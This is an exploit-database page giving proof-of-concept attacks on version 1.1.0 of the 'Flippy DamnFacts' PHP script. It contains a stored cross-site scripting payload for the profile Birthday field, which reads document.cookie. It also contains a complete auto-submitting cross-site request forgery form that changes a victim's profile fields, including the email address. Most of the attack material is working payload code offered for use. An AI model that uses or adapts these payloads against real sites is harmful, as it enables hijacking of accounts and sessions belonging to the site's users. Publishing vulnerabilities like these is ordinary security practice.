[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Flippy DamnFacts - Viral Fun Facts Sharing Script 1.1.0 - XSS / CSRF Vulnerabilities

Author
L0RD
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-30394
Category
web applications
Date add
21-05-2018
Platform
php
# Exploit Title:  Flippy DamnFacts - Viral Fun Facts Sharing Script 1.1.0 - Persistent cross site scripting / Cross site request forgery
# Exploit Author: borna nematzadeh (L0RD)
# Vendor Homepage: https://www.codegrape.com/item/flippy-damnfacts-viral-fun-facts-sharing-script/3630
# Version: 1.1.0
# Tested on: Kali linux
 
# POC 1 : Persistent Cross site scripting :
1) After creating an account , navigate to "Edit profile" .
2) Put this payload into the "Birthday" and save changes :
" onmouseover=alert(document.cookie) "
3) You will have an alert box in the page .
 
# POC 2 : Cross site request forgery :
 
<html>
<head>
  <title>CSRF POC</title>
</head>
  <body>
    <form action="http://damnfacts.flippydemos.com/submit_profile.php" method="POST">
      <input type="hidden" name="sex" value="Male" />
      <input type="hidden" name="birthday" value="test" />
      <input type="hidden" name="uEmail" value="ninjaassassinbn&#64;yahoo&#46;com" />
      <input type="hidden" name="country" value="United&#32;States" />
      <input type="hidden" name="about" value="test" />
    </form>
    <script>
      document.forms[0].submit();
      // profile will be updated successfully.
    </script>
  </body>
</html>

#  0day.today [2024-11-16]  #